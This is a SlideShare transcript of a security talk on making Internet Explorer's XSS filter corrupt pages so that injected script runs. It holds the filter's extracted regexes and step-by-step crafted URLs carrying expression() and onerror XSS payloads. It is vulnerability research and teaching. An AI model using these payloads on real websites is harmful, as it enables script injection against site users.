Masato Kinugawa, profile picture
Uploaded byMasato Kinugawa
39,650 views

X-XSS-Nightmare: 1; mode=attack XSS Attacks Exploiting XSS Filter

The document discusses XSS (Cross-Site Scripting) attack techniques, focusing on bypassing XSS filters in various web browsers like Internet Explorer, Chrome, and Safari. It provides specific examples of how dangerous conditions in request and response matching can lead to exploitation, along with regex patterns used for style attributes and filter responses. The content highlights the inadequacies of XSS filters and offers insights into how attackers can utilize certain attributes to execute JavaScript in web pages.

Embed presentation

1 / 141
2 / 141
3 / 141
4 / 141
5 / 141
6 / 141
7 / 141
8 / 141
9 / 141
Most read
10 / 141
11 / 141
12 / 141
13 / 141
14 / 141
15 / 141
16 / 141
17 / 141
18 / 141
19 / 141
20 / 141
21 / 141
22 / 141
23 / 141
Most read
24 / 141
25 / 141
26 / 141
27 / 141
28 / 141
29 / 141
30 / 141
31 / 141
32 / 141
33 / 141
34 / 141
35 / 141
36 / 141
37 / 141
38 / 141
39 / 141
40 / 141
41 / 141
42 / 141
43 / 141
44 / 141
45 / 141
46 / 141
47 / 141
48 / 141
49 / 141
50 / 141
51 / 141
52 / 141
53 / 141
54 / 141
55 / 141
56 / 141
57 / 141
Most read
58 / 141
59 / 141
60 / 141
61 / 141
62 / 141
63 / 141
64 / 141
65 / 141
66 / 141
67 / 141
68 / 141
69 / 141
70 / 141
71 / 141
72 / 141
73 / 141
74 / 141
75 / 141
76 / 141
77 / 141
78 / 141
79 / 141
80 / 141
81 / 141
82 / 141
83 / 141
84 / 141
85 / 141
86 / 141
87 / 141
88 / 141
89 / 141
90 / 141
91 / 141
92 / 141
93 / 141
94 / 141
95 / 141
96 / 141
97 / 141
98 / 141
99 / 141
100 / 141
101 / 141
102 / 141
103 / 141
104 / 141
105 / 141
106 / 141
107 / 141
108 / 141
109 / 141
110 / 141
111 / 141
112 / 141
113 / 141
114 / 141
115 / 141
116 / 141
117 / 141
118 / 141
119 / 141
120 / 141
121 / 141
122 / 141
123 / 141
124 / 141
125 / 141
126 / 141
127 / 141
128 / 141
129 / 141
130 / 141
131 / 141
132 / 141
133 / 141
134 / 141
135 / 141
136 / 141
137 / 141
138 / 141
139 / 141
140 / 141
141 / 141
X-XSS-Nightmare: 1; mode=attack XSS Attacks Exploiting XSS Filter Masato Kinugawa
Self-Introduction Masato Kinugawa
Self-Introduction Masato Kinugawa x s
Self-Introduction Masato Kinugawa x s B
Bug-hunter's Joy Self-Introduction
Today's topics ❶XSS technique ❷Bypass XSS filter technique Using IE's XSS filter
XSS Filter Chrome and Safari have the same function. It was introduced from IE8.(2009)
Basic of XSS filter of IE http://example.com/?q=<img+src=x+onerror=alert(1)> <!DOCTYPE html> <html> <head> <meta charset="utf-8"> </head> <body> q param is: <img src=x onerror=alert(1)> </body> </html> Before cut-off If request and response are matched with dangerous condition, XSS filter rewrites a page.
Like this # http://example.com/?q=<img+src=x+onerror=alert(1)> <!DOCTYPE html> <html> <head> <meta charset="utf-8"> </head> <body> q param is: <img src=x #nerror=alert(1)> </body> </html> If request and response are matched with dangerous condition, XSS filter rewrites a page. After cut-off
Dangerous condition It isn't documented in particular. We can see the loading binary to browser of dll include regex of cut-off strings. The regex introduced by this slide is from here.
Inaccuracy of XSS Filter If matched with the condition, XSS filter rewrites a string unrelated to part of a dynamic creation of user input. http://example.com/?q=AAA&<meta+charset= <!DOCTYPE html> <html> <head> <m#ta charset="utf-8"> </head> <body> q param is: AAA </body> </html>
Nightmare: 1
JS execution from style attribute <p style="x:expression(alert(1))"> <p style="behavior:url(script.sct)"> expression() or behavior are possible.
Example of the style attribute grammar. <p style="x=expression(alert(1))"> Using colon instead of equal (Compatibility mode only) <p style="x:expression0028alert(1)0029"> <p style="x:expression&#x28;alert(1))"> Unicode escape of CSS Numeric character references
Regex of style attribute section in the filter. [ /+t"'`]style[ /+t]*? =.*?([:=]|(&[#()[].]x?0*((58)|(3A)| (61)|(3D));?)).*?([(]|(&[#()[].]x? 0*((40)|(28)|(92)|(5C));?))
[ /+t"'`]style[ /+t]*? =.*?([:=]|(&[#()[].]x?0*((58)|(3A)| (61)|(3D));?)).*?([(]|(&[#()[].]x? 0*((40)|(28)|(92)|(5C));?)) First, end of attribute Regex of style attribute section in the filter.
[ /+t"'`]style[ /+t]*? =.*?([:=]|(&[#()[].]x?0*((58)|(3A)| (61)|(3D));?)).*?([(]|(&[#()[].]x? 0*((40)|(28)|(92)|(5C));?)) Then, style= Regex of style attribute section in the filter.
[ /+t"'`]style[ /+t]*? =.*?([:=]|(&[#()[].]x?0*((58)|(3A)| (61)|(3D));?)).*?([(]|(&[#()[].]x? 0*((40)|(28)|(92)|(5C));?)) Then, colon or equal Regex of style attribute section in the filter.
[ /+t"'`]style[ /+t]*? =.*?([:=]|(&[#()[].]x?0*((58)|(3A)| (61)|(3D));?)).*?([(]|(&[#()[].]x? 0*((40)|(28)|(92)|(5C));?)) If string includes left bracket or backslash, cut the request. Regex of style attribute section in the filter.
Attention here [ /+t"'`]style[ /+t]*? =.*?([:=]|(&[#()[].]x?0*((58)|(3A)| (61)|(3D));?)).*?([(]|(&[#()[].]x? 0*((40)|(28)|(92)|(5C));?)) If string includes more than 0 characters of string equal to blank after "style", cut the request. [0x09-0x0D] OR [0x20] OR / OR +
URL: ?/style+=: /styleA=: To the following request. When below is output. How does the XSS filter react? Anatomizing blank section
Anatomizing blank section One character between "style" and = URL: ?/style+=: /st#leA=: To the following request. When below is output. Matched!
Anatomizing blank section 2 characters URL: ?/style+=: /st#leAA=: To the following request. When below is output. Matched!
Anatomizing blank section 3 characters URL: ?/style+=: /st#leAAA=: To the following request. When below is output. Matched!
Anatomizing blank section 4 characters URL: ?/style+=: /st#leAAAA=: To the following request. When below is output. Matched!
Anatomizing blank section 5 characters URL: ?/style+=: /st#leAAAAA=: To the following request. When below is output. Matched!
Anatomizing blank section 6 characters URL: ?/style+=: /st#leAAAAAA=: To the following request. When below is output. Matched!
Anatomizing blank section 7 characters URL: ?/style+=: /styleAAAAAAA=: To the following request. When below is output. Through
Anatomizing blank section In 0 character, URL: ?/style+=: /st#le=: To the following request. When below is output. Matched!
In short URL: ?/style+=: /st#le=: /st#leA=: /st#leAA=: /st#leAAA=: /st#leAAAA=: /st#leAAAAA=: /st#leAAAAAA=: /styleAAAAAAA=: =+ in the URL Arbitrary 0-6 bytes in the HTML
In ++, URL: ?/style++=: /st#leAAAAAAA=: matched to 7 characters Matched!
Width of 0-6 bytes u000A (6bytes) &#x0A; (6bytes) The consideration of a case where characters are replaced or deleted. This width is changing from character(byte).
For example, / is 0-3 bytes width. URL: ?/style/=: /st#le=: /st#leA=: /st#leAA=: /st#leAAA=: /styleAAAA=: /styleAAAAA=: /styleAAAAAA=: /styleAAAAAAA=:
Last backslash URL: ?/style=: /st#le=: /st#le=:aaa Even outside of HTML reacts.
Example of correct cut-off of style attribute <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <style> body{background:gold} </style> </head> <body> <input name="q" value="[XSS_HERE]"> </body> </html> URL: ?q=[XSS_HERE] In this case,
<!DOCTYPE html> <html> <head> <meta charset="utf-8"> <style> body{background:gold} </style> </head> <body> <input name="q" value=""style="x:expression(alert(1))"> </body> </html> URL: ?q="style="x:expression(alert(1)) You can attack like this. but, if It includes the filter… Example of correct cut-off of style attribute
[ /+t"'`]style[ /+t]*? =.*?([:=]|(&[#()[].]x?0*((58)|(3A)| (61)|(3D));?)).*?([(]|(&[#()[].]x? 0*((40)|(28)|(92)|(5C));?)) ... <style> body{background:gold} </style> </head> <body> <input name="q" value=""style="x:expression(alert(1))"> ... URL: ?q⁼"style="x:expression(alert(1))
[ /+t"'`]style[ /+t]*? =.*?([:=]|(&[#()[].]x?0*((58)|(3A)| (61)|(3D));?)).*?([(]|(&[#()[].]x? 0*((40)|(28)|(92)|(5C));?)) ... <style> body{background:gold} </style> </head> <body> <input name="q" value=""style="x:expression(alert(1))"> ... URL: ?q⁼"style="x:expression(alert(1))
[ /+t"'`]style[ /+t]*? =.*?([:=]|(&[#()[].]x?0*((58)|(3A)| (61)|(3D));?)).*?([(]|(&[#()[].]x? 0*((40)|(28)|(92)|(5C));?)) ... <style> body{background:gold} </style> </head> <body> <input name="q" value=""style="x:expression(alert(1))"> ... URL: ?q⁼"style="x:expression(alert(1))
[ /+t"'`]style[ /+t]*? =.*?([:=]|(&[#()[].]x?0*((58)|(3A)| (61)|(3D));?)).*?([(]|(&[#()[].]x? 0*((40)|(28)|(92)|(5C));?)) ... <style> body{background:gold} </style> </head> <body> <input name="q" value=""style="x:expression(alert(1))"> ... URL: ?q⁼"style="x:expression(alert(1))
[ /+t"'`]style[ /+t]*? =.*?([:=]|(&[#()[].]x?0*((58)|(3A)| (61)|(3D));?)).*?([(]|(&[#()[].]x? 0*((40)|(28)|(92)|(5C));?)) ... <style> body{background:gold} </style> </head> <body> <input name="q" value=""style="x:expression(alert(1))"> ... URL: ?q⁼"style="x:expression(alert(1))
[ /+t"'`]style[ /+t]*? =.*?([:=]|(&[#()[].]x?0*((58)|(3A)| (61)|(3D));?)).*?([(]|(&[#()[].]x? 0*((40)|(28)|(92)|(5C));?)) ... <style> body{background:gold} </style> </head> <body> <input name="q" value=""style="x:expression(alert(1))"> ... URL: ?q⁼"style="x:expression(alert(1))
[ /+t"'`]style[ /+t]*? =.*?([:=]|(&[#()[].]x?0*((58)|(3A)| (61)|(3D));?)).*?([(]|(&[#()[].]x? 0*((40)|(28)|(92)|(5C));?)) ... <style> body{background:gold} </style> </head> <body> <input name="q" value=""style="x:expression(alert(1))"> ... URL: ?q⁼"style="x:expression(alert(1))
[ /+t"'`]style[ /+t]*? =.*?([:=]|(&[#()[].]x?0*((58)|(3A)| (61)|(3D));?)).*?([(]|(&[#()[].]x? 0*((40)|(28)|(92)|(5C));?)) ... <style> body{background:gold} </style> </head> <body> <input name="q" value=""style="x:expression(alert(1))"> ... URL: ?q⁼"style="x:expression(alert(1)) Matched!
[ /+t"'`]style[ /+t]*? =.*?([:=]|(&[#()[].]x?0*((58)|(3A)| (61)|(3D));?)).*?([(]|(&[#()[].]x? 0*((40)|(28)|(92)|(5C));?)) ... <style> body{background:gold} </style> </head> <body> <input name="q" value=""st#le="x:expression(alert(1))"> ... URL: ?q⁼"style="x:expression(alert(1)) adequately cut-off!
In this time, Cheat the filter <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <style> body{background:gold} </style> </head> <body> <input name="q" value="&quot;&lt;&gt;"> </body> </html> URL: ?q="<> Nothing XSS
<!DOCTYPE html> <html> <head> <meta charset="utf-8"> <style> body{background:gold} </style> </head> <body> <input name="q" value="&quot;&lt;&gt;"> </body> </html> URL: ?q="<> Attention here
<style> body{background:gold} </style> </head> <body> <input name="q" value="&quot;&lt;&gt;"> </body> </html> [ /+t"'`]style[ /+t]*? =.*?([:=]|(&[#()[].]x?0*((58)|(3A)| (61)|(3D));?)).*?([(]|(&[#()[].]x? 0*((40)|(28)|(92)|(5C));?))
<style> body{background:gold} </style> </head> <body> <input name="q" value="&quot;&lt;&gt;"> </body> </html> [ /+t"'`]style[ /+t]*? =.*?([:=]|(&[#()[].]x?0*((58)|(3A)| (61)|(3D));?)).*?([(]|(&[#()[].]x? 0*((40)|(28)|(92)|(5C));?))
<style> body{background:gold} </style> </head> <body> <input name="q" value="&quot;&lt;&gt;"> </body> </html> [ /+t"'`]style[ /+t]*? =.*?([:=]|(&[#()[].]x?0*((58)|(3A)| (61)|(3D));?)).*?([(]|(&[#()[].]x? 0*((40)|(28)|(92)|(5C));?))
<style> body{background:gold} </style> </head> <body> <input name="q" value="&quot;&lt;&gt;"> </body> </html> [ /+t"'`]style[ /+t]*? =.*?([:=]|(&[#()[].]x?0*((58)|(3A)| (61)|(3D));?)).*?([(]|(&[#()[].]x? 0*((40)|(28)|(92)|(5C));?))
<style> body{background:gold} </style> </head> <body> <input name="q" value="&quot;&lt;&gt;"> </body> </html> [ /+t"'`]style[ /+t]*? =.*?([:=]|(&[#()[].]x?0*((58)|(3A)| (61)|(3D));?)).*?([(]|(&[#()[].]x? 0*((40)|(28)|(92)|(5C));?))
<style> body{background:gold} </style> </head> <body> <input name="q" value="&quot;&lt;&gt;"> </body> </html> [ /+t"'`]style[ /+t]*? =.*?([:=]|(&[#()[].]x?0*((58)|(3A)| (61)|(3D));?)).*?([(]|(&[#()[].]x? 0*((40)|(28)|(92)|(5C));?))
<style> body{background:gold} </style> </head> <body> <input name="q" value="&quot;&lt;&gt;"> </body> </html> [ /+t"'`]style[ /+t]*? =.*?([:=]|(&[#()[].]x?0*((58)|(3A)| (61)|(3D));?)).*?([(]|(&[#()[].]x? 0*((40)|(28)|(92)|(5C));?)) Oh?!
[ /+t"'`]style[ /+t]*? =.*?([:=]|(&[#()[].]x?0*((58)|(3A)| (61)|(3D));?)).*?([(]|(&[#()[].]x? 0*((40)|(28)|(92)|(5C));?)) <style> body{background:gold} </style> </head> <body> <input name="q" value=""> URL: ? Matching on URL side
[ /+t"'`]style[ /+t]*? =.*?([:=]|(&[#()[].]x?0*((58)|(3A)| (61)|(3D));?)).*?([(]|(&[#()[].]x? 0*((40)|(28)|(92)|(5C));?)) <style> body{background:gold} </style> </head> <body> <input name="q" value=""> URL: ?/style
[ /+t"'`]style[ /+t]*? =.*?([:=]|(&[#()[].]x?0*((58)|(3A)| (61)|(3D));?)).*?([(]|(&[#()[].]x? 0*((40)|(28)|(92)|(5C));?)) <style> body{background:gold} </style> </head> <body> <input name="q" value=""> URL: ?/style++++++ Here is 31bytes 6 of + in the URL
[ /+t"'`]style[ /+t]*? =.*?([:=]|(&[#()[].]x?0*((58)|(3A)| (61)|(3D));?)).*?([(]|(&[#()[].]x? 0*((40)|(28)|(92)|(5C));?)) <style> body{background:gold} </style> </head> <body> <input name="q" value=""> URL: ?/style++++++=++ (Except =) 9 bytes, 2 of +
[ /+t"'`]style[ /+t]*? =.*?([:=]|(&[#()[].]x?0*((58)|(3A)| (61)|(3D));?)).*?([(]|(&[#()[].]x? 0*((40)|(28)|(92)|(5C));?)) <style> body{background:gold} </style> </head> <body> <input name="q" value=""> URL: ?/style++++++=++=
[ /+t"'`]style[ /+t]*? =.*?([:=]|(&[#()[].]x?0*((58)|(3A)| (61)|(3D));?)).*?([(]|(&[#()[].]x? 0*((40)|(28)|(92)|(5C));?)) <style> body{background:gold} </style> </head> <body> <input name="q" value=""> URL: ?/style++++++=++= Matched!
[ /+t"'`]style[ /+t]*? =.*?([:=]|(&[#()[].]x?0*((58)|(3A)| (61)|(3D));?)).*?([(]|(&[#()[].]x? 0*((40)|(28)|(92)|(5C));?)) <style> body{background:gold} </st#le> </head> <body> <input name="q" value=""> URL: ?/style++++++=++= ?!
</st#le> What will happen?
<style> body{background:gold} </style> </head> <body> <input name="q" value=""> ... URL: ?/style++++++=++= Original area of style element
<style> body{background:gold} </st#le> </head> <body> <input name="q" value=""> ... URL: ?/style++++++=++= The area of style element after cut-off.
<style> body{background:gold} </st#le> </head> <body> <input name="q" value=" {}*{x:expression(alert(1))}"> URL: ?q=%0A{}*{x:expression(alert(1))}& /style++++++=++= Like this…
<style> body{background:gold} </st#le> </head> <body> <input name="q" value=" {}*{x:expression(alert(1))}"> URL: ?q=%0A{}*{x:expression(alert(1))}& /style++++++=++=
Nightmare: 2
javascript:Cut-off regex of link {(j|(&[#()[].]x?0*((74)|(4A)|(106)|(6A));?))([t]|(&(([#()[].]x?0 *(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(a|(&[#()[].]x?0*((65)|( 41)|(97)|(61));?))([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;) |(newline;))))*(v|(&[#()[].]x?0*((86)|(56)|(118)|(76));?))([t]|(&( ([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(a|(&[#()[ ].]x?0*((65)|(41)|(97)|(61));?))([t]|(&(([#()[].]x?0*(9|(13)|(10)| A|D);?)|(tab;)|(newline;))))*(s|(&[#()[].]x?0*((83)|(53)|(115)|(73) );?))([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))) )*(c|(&[#()[].]x?0*((67)|(43)|(99)|(63));?))([t]|(&(([#()[].]x?0 *(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(r|(&[#()[].]x?0*((82)|( 52)|(114)|(72));?))([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab; )|(newline;))))*(i|(&[#()[].]x?0*((73)|(49)|(105)|(69));?))([t]|(& (([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(p|(&[#()[ ].]x?0*((80)|(50)|(112)|(70));?))([t]|(&(([#()[].]x?0*(9|(13)|(10 )|A|D);?)|(tab;)|(newline;))))*(t|(&[#()[].]x?0*((84)|(54)|(116)|(7 4));?))([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;) )))*(:|(&(([#()[].]x?0*((58)|(3A));?)|(colon;)))).}
Make it easy to see (j|(&[#()[].]x?0*((74)|(4A)|(106)|(6A));?)) ([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(new line;))))* (a|(&[#()[].]x?0*((65)|(41)|(97)|(61));?)) ([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(new line;))))* . . . (t|(&[#()[].]x?0*((84)|(54)|(116)|(74));?)) ([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(new line;))))* (:|(&(([#()[].]x?0*((58)|(3A));?)|(colon;)))).
Make it easy to see (j|(&[#()[].]x?0*((74)|(4A)|(106)|(6A));?)) ([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(new line;))))* (a|(&[#()[].]x?0*((65)|(41)|(97)|(61));?)) ([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(new line;))))* . . . (t|(&[#()[].]x?0*((84)|(54)|(116)|(74));?)) ([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(new line;))))* (:|(&(([#()[].]x?0*((58)|(3A));?)|(colon;)))). Includes j,
Make it easy to see (j|(&[#()[].]x?0*((74)|(4A)|(106)|(6A));?)) ([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(new line;))))* (a|(&[#()[].]x?0*((65)|(41)|(97)|(61));?)) ([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(new line;))))* . . . (t|(&[#()[].]x?0*((84)|(54)|(116)|(74));?)) ([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(new line;))))* (:|(&(([#()[].]x?0*((58)|(3A));?)|(colon;)))). Includes tab or newline character more than 0 characters,
Make it easy to see (j|(&[#()[].]x?0*((74)|(4A)|(106)|(6A));?)) ([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(new line;))))* (a|(&[#()[].]x?0*((65)|(41)|(97)|(61));?)) ([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(new line;))))* . . . (t|(&[#()[].]x?0*((84)|(54)|(116)|(74));?)) ([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(new line;))))* (:|(&(([#()[].]x?0*((58)|(3A));?)|(colon;)))). Includes a,
Make it easy to see (j|(&[#()[].]x?0*((74)|(4A)|(106)|(6A));?)) ([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(new line;))))* (a|(&[#()[].]x?0*((65)|(41)|(97)|(61));?)) ([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(new line;))))* . . . (t|(&[#()[].]x?0*((84)|(54)|(116)|(74));?)) ([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(new line;))))* (:|(&(([#()[].]x?0*((58)|(3A));?)|(colon;)))). Includes tab or newline character more than 0 characters…
Make it easy to see (j|(&[#()[].]x?0*((74)|(4A)|(106)|(6A));?)) ([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(new line;))))* (a|(&[#()[].]x?0*((65)|(41)|(97)|(61));?)) ([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(new line;))))* . . . (t|(&[#()[].]x?0*((84)|(54)|(116)|(74));?)) ([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(new line;))))* (:|(&(([#()[].]x?0*((58)|(3A));?)|(colon;)))). Those continue until the colon of "javascript:".
(j|(&[#()[].]x?0*((74)|(4A)|(106)|(6A));?)) ([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(new line;))))* (a|(&[#()[].]x?0*((65)|(41)|(97)|(61));?)) ([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(new line;))))* . . . (t|(&[#()[].]x?0*((84)|(54)|(116)|(74));?)) ([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(new line;))))* (:|(&(([#()[].]x?0*((58)|(3A));?)|(colon;)))). After the colon, arbitrary one character. Make it easy to see
Cheat the filter again <script type="text/javascript">a=1</script> <script> var q="[USER_INPUT]"; </script> We assume that the designated string from the user is stocked.(※ For simplicity, we consider It's already outputting the string except URL parameter.)
Cheat the filter again <script type="text/javascript">a=1</script> <script> var q="</script>""; </script> XSS measure is also appropriate!
Cheat the filter again <script type="text/javascript">a=1</script> <script> var q=":<img src=x onerror=alert(1)>"; </script> We assume that the attacker chose this string.
<script type="text/javascript">a=1</script> <script> var q=":<img src=x onerror=alert(1)>"; </script> URL: ?java%0A%0A%0A%0Ascript%0A%0A: Then, we assume that the attacker leads the user to this URL.
<script type="text/javascript">a=1</script> <script> var q=":<img src=x onerror=alert(1)>"; </script> URL: ?java%0A%0A%0A%0Ascript%0A%0A:
<script type="text/javascript">a=1</script> <script> var q=":<img src=x onerror=alert(1)>"; </script> URL: ?java%0A%0A%0A%0Ascript%0A%0A: 24bytes 4 of [0x0A] in URL
<script type="text/javascript">a=1</script> <script> var q=":<img src=x onerror=alert(1)>"; </script> URL: ?java%0A%0A%0A%0Ascript%0A%0A:
<script type="text/javascript">a=1</script> <script> var q=":<img src=x onerror=alert(1)>"; </script> URL: ?java%0A%0A%0A%0Ascript%0A%0A: 10bytes 2 of [0x0A] in URL
<script type="text/javascript">a=1</script> <script> var q=":<img src=x onerror=alert(1)>"; </script> URL: ?java%0A%0A%0A%0Ascript%0A%0A:
<script type="text/javascript">a=1</script> <script> var q=":<img src=x onerror=alert(1)>"; </script> URL: ?java%0A%0A%0A%0Ascript%0A%0A: Matched!
<script type="text/javascript">a=1</script> <sc#ipt> var q=":<img src=x onerror=alert(1)>"; </script> URL: ?java%0A%0A%0A%0Ascript%0A%0A: ?!
<sc#ipt> What will happen?
<script type="text/javascript">a=1</script> <sc#ipt> var q=":<img src=x onerror=alert(1)>"; </script> URL: ?java%0A%0A%0A%0Ascript%0A%0A: This is not inside script tag!
<script type="text/javascript">a=1</script> <sc#ipt> var q=":<img src=x onerror=alert(1)>"; </script> URL: ?java%0A%0A%0A%0Ascript%0A%0A:
Nightmare: 3
<body> <script> var q="";abc.def="; </script> </body> URL: ?q=";abc.def= The character which passes through literal and assignment of property access Example of correct filter (string literal)
<body> <script> var q="";abc#def="; </script> </body> URL: ?q=";abc.def= Example of correct filter (string literal) The filter replaces "." for cut-off.
["'][ ]* (([^a-z0-9~_:'" ])|(in)) .+?[.].+?= Filter's regex of string literal
["'][ ]* (([^a-z0-9~_:'" ])|(in)) .+?[.].+?= <body> <script> var q="";abc.def="; </script> </body> URL: ?q=";abc.def= Matched!
Cheat the filter one more <script src="//example.co.jp/test.js" type="text/javascript"> </script> We assume that code of only loading external script is here.
["'][ ]* (([^a-z0-9~_:'" ])|(in)) .+?[.].+?= <script src="//example.co.jp/test.js" type="text/javascript"> </script> URL: ?
["'][ ]* (([^a-z0-9~_:'" ])|(in)) .+?[.].+?= <script src="//example.co.jp/test.js" type="text/javascript"> </script> URL: ?"
["'][ ]* (([^a-z0-9~_:'" ])|(in)) .+?[.].+?= <script src="//example.co.jp/test.js" type="text/javascript"> </script> URL: ?"
["'][ ]* (([^a-z0-9~_:'" ])|(in)) .+?[.].+?= <script src="//example.co.jp/test.js" type="text/javascript"> </script> URL: ?"/
["'][ ]* (([^a-z0-9~_:'" ])|(in)) .+?[.].+?= <script src="//example.co.jp/test.js" type="text/javascript"> </script> URL: ?"/++ 11bytes 2 of +
["'][ ]* (([^a-z0-9~_:'" ])|(in)) .+?[.].+?= <script src="//example.co.jp/test.js" type="text/javascript"> </script> URL: ?"/++.
["'][ ]* (([^a-z0-9~_:'" ])|(in)) .+?[.].+?= <script src="//example.co.jp/test.js" type="text/javascript"> </script> URL: ?"/++.+++ 16bytes 3 of +
["'][ ]* (([^a-z0-9~_:'" ])|(in)) .+?[.].+?= <script src="//example.co.jp/test.js" type="text/javascript"> </script> URL: ?"/++.+++= Matched!
["'][ ]* (([^a-z0-9~_:'" ])|(in)) .+?[.].+?= <script src="//example.co#jp/test.js" type="text/javascript"> </script> URL: ?"/++.+++= ?!
<script src="//example.co#jp/test.js" type="text/javascript"> </script> What will happen?
<script src="//example.co#jp/test.js" type="text/javascript"> </script> This is not loading from example.co.jp, loading from example.co!
<script src="//example.co#jp/test.js" type="text/javascript"> </script>
["'][ ]*(([^a-z0-9~_:'" ])|(in)) .+?[.].+?= ... <link rel="stylesheet" href="../1.css"> <link rel="stylesheet" href="../2.css"> </head> ... <input name="q" value="[USER_INPUT]"> URL: ?q=[USER_INPUT] The page of loading CSS and outputting user's input.
["'][ ]*(([^a-z0-9~_:'" ])|(in)) .+?[.].+?= ... <link rel="stylesheet" href="../1.css"> <link rel="stylesheet" href="../2.css"> </head> ... <input name="q" value="[USER_INPUT]"> URL: ?q=[USER_INPUT]&"+=+.++++= Matched!
["'][ ]*(([^a-z0-9~_:'" ])|(in)) .+?[.].+?= ... <link rel="stylesheet" href="#./1.css"> <link rel="stylesheet" href="../2.css"> </head> ... <input name="q" value="[USER_INPUT]"> URL: ?q=[USER_INPUT]&"+=+.++++= ?!
<link rel="stylesheet" href="#./1.css"> What will happen?
["'][ ]*(([^a-z0-9~_:'" ])|(in)) .+?[.].+?= ... <link rel="stylesheet" href="#./1.css"> <link rel="stylesheet" href="../2.css"> </head> ... <input name="q" value="[USER_INPUT]"> URL: ?q=[USER_INPUT]&"+=+.++++= This is loading this as CSS.
["'][ ]*(([^a-z0-9~_:'" ])|(in)) .+?[.].+?= ... <link rel="stylesheet" href="#./1.css"> <link rel="stylesheet" href="../2.css"> </head> ... <input name="q" value=" {}*{x:expression(alert(1))}"> URL: ?q=%0A{}*{x:expression(alert(1))}&"+=+.++++= Like this…
["'][ ]*(([^a-z0-9~_:'" ])|(in)) .+?[.].+?= ... <link rel="stylesheet" href="#./1.css"> <link rel="stylesheet" href="../2.css"> </head> ... <input name="q" value=" {}*{x:expression(alert(1))}"> URL: ?q=%0A{}*{x:expression(alert(1))}&"+=+.++++=
Nightmare: 4
Bypass 1: expression() <p style=v:expression&bx28;alert&bx28;1))>s: URL: ?q=<p+style=v:expression%26bx28%3Balert%26b x28%3B1))>s: If simple XSS is here, It should write &#x28;but write &bx28;.
<p style=v:expression&bx28;alert&bx28;1))>s: Something is here! URL: ?q=<p+style=v:expression%26bx28%3Balert%26b x28%3B1))>s: Bypass 1: expression()
Rignt, vbs: and vbscript: are cut-off targets. (v|(&[#()[].]x?0*((86)|(56)|(118)|(76));?))([t]|(&(([# ()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(b| (&[#()[].]x?0*((66)|(42)|(98)|(62));?))([t]|(&(([#()[ ].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(s|(&[# ()[].]x?0*((83)|(53)|(115)|(73));?))([t]|(&(([#()[]. ]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*((c|(&[#() [].]x?0*((67)|(43)|(99)|(63));?))([t]|(&(([#()[].]x? 0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(r|(&[#()[] .]x?0*((82)|(52)|(114)|(72));?))([t]|(&(([#()[].]x?0*( 9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(i|(&[#()[].]x ?0*((73)|(49)|(105)|(69));?))([t]|(&(([#()[].]x?0*(9|( 13)|(10)|A|D);?)|(tab;)|(newline;))))*(p|(&[#()[].]x?0* ((80)|(50)|(112)|(70));?))([t]|(&(([#()[].]x?0*(9|(13) |(10)|A|D);?)|(tab;)|(newline;))))*(t|(&[#()[].]x?0*((8 4)|(54)|(116)|(74));?))([t]|(&(([#()[].]x?0*(9|(13)|(1 0)|A|D);?)|(tab;)|(newline;))))*)?(:|(&(([#()[].]x?0*(( 58)|(3A));?)|(colon;)))).
<p style=v:expression&bx28;alert&bx28;1))>s: URL: ?q=<p+style=v:expression%26bx28%3Balert%26b x28%3B1))>s:&v%0A%0Ab%0A%0A%0A%0A%0As: I adjusted URL for reaction of vbs:. Before cut-off Bypass 1: expression()
<p style=v:expression&#x28;alert&bx28;1))>s: URL: ?q=<p+style=v:expression%26bx28%3Balert%26b x28%3B1))>s:&v%0A%0Ab%0A%0A%0A%0A%0As: It created the left parenthesis.(&#x28;) After cut-off Bypass 1: expression()
<p style=v:expression&#x28;alert&bx28;1))>s: URL: ?q=<p+style=v:expression%26bx28%3Balert%26b x28%3B1))>s:&v%0A%0Ab%0A%0A%0A%0A%0As:&v%0 A%0A%0A%0Ab%0A%0A%0As: One More! Before cut-off Bypass 1: expression()
